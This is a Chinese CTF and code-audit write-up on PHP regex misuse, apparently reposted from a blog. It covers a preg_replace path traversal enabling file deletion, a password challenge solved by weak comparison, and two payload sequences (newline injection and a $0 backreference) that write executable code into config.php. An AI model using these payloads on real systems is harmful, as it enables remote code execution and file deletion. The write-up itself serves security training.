PHP-Audit-Labs-Day6-正则使用不当导致的路径穿越

PHP-Audit-Labs

靶场地址:https://www.ripstech.com/php-security-calendar-2017/

在代码$file = preg_replace("/[^a-z.-_]/", "", $token);处存在绕过,preg_replace匹配除了 a 字符到 z 字符、. 字符到 _ 字符之间的所有字符,在调用performAction方法的时候,if delete则可触发攻击链,攻击者可以构造../../../../config.php进行任意文件删除。

CTF

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>

flag.php

1
<?php $flag = "HRCTF{Pr3g_R3plac3_1s_Int3r3sting}";?>

其中正则表达式的部分可以参考学习:PHP正则表达式的字符类

alnum 字母和数字
alpha 字母
ascii 0 - 127的ascii字符
blank 空格和水平制表符
cntrl 控制字符
digit 十进制数(same as \d)
graph 打印字符, 不包括空格
lower 小写字母
print 打印字符,包含空格
punct 打印字符, 不包括字母和数字
space 空白字符 (比\s多垂直制表符)
upper 大写字母
word 单词字符(same as \w)
xdigit 十六进制数字

题目中总共有三处正则匹配,我们分别来看一下其对应的含义。第一处的正则 /^[[:graph:]]{12,}$/ 为:匹配到可打印字符12个以上(包含12),^ 号表示必须以某类字符开头,$ 号表示必须以某类字符结尾。第二处正则表达式:

1
2
3
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;

表示字符串中,把连续的符号、数字、大写、小写,作为一段,至少分六段,例如我们输入 H0ng+Ri 则匹配到的子串为 H 0 ng + R i 。第三处的正则表达式:

1
2
3
4
5
6
7
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;

表示为输入的字符串至少含有符号、数字、大写、小写中的三种类型。然后题目最后将 $password 与42进行了弱比较。所以我们的payload为:

1
2
password=42.00e+00000
password=420.00000e-1

通过正则写配置文件

题目链接:https://github.com/wonderkun/CTF_web/tree/dcf36cb9ba9a580a4e8d92b43480b6575fed2c3a/web200-7

ctf.php

1
2
3
4
5
6
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);

config.php 的内容如下:

1
2
<?php
$option='test';

要求是要getshell,这个场景十分经典,常用在修改配置文件写入的时候。 此处不存在之前说的那个配置文件中用的是"双引号"引起任意代码执行的问题,这这里面用的是单引号,而且 addslashes()处理过了,看似很安全,但是对于脑子里有个黑洞的搞安全的人来讲,这个还真是有问题的.

方法一,利用换行符来绕过正则匹配的问题

可以看到正则匹配的是以下内容:

1
$option='任意内容'

任意内容里面是可以包含转移符 \ 的,所以我们利用下面的方法:

1
2
http://127.0.0.1/index.php?option=a';%0aphpinfo();//
http://127.0.0.1/index.php?option=a

执行完第一个之后,config.php中的内容为:

1
2
3
<?php
$option='a\';
phpinfo();//';

但是这样并没有办法执行phpinfo(),因为我们插入的 单引号 被转移掉了,所以phpinfo()还是在单引号的包裹之内. 我们在访问下面这个

1
http://127.0.0.1/index.php?option=a

因为正则 .* 会匹配行内的任意字符无数次.所以 \ 也被认为是其中的一部分,也会被替换掉,执行完之后,config.php中的内容为:

1
2
3
<?php
$option='a';
phpinfo();//';

转义符就被替换掉了,就成功的getshell.

利用 preg_replace() 函数的第二个参数的问题

先看官方对preg_replace()函数的描述manual 函数原型:

1
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

对replacement的描述.

replacement中可以包含后向引用\n 或(php 4.0.4以上可用)$n,语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99,\0和$0代表完整的模式匹配文本。

所以我们可以用:

1
2
http://127.0.0.1/test/ph.php?option=;phpinfo();
http://127.0.0.1/test/ph.php?option=%00 或者 http://127.0.0.1/test/ph.php?option=$0

执行第一条后config.php的内容为:

1
2
<?php
$option=';phpinfo();';

再执行第二条后config.php的内容为:

1
2
<?php
$option='$option=';phpinfo();';';

刚好闭合掉了前后的两个单引号中间的逃脱出来了.想出这个办法的人,思路真是可以的.

转载:

https://xz.aliyun.com/t/2597

https://github.com/wonderkun/CTF_web/tree/dcf36cb9ba9a580a4e8d92b43480b6575fed2c3a/web200-7

-------------本文结束感谢您的阅读-------------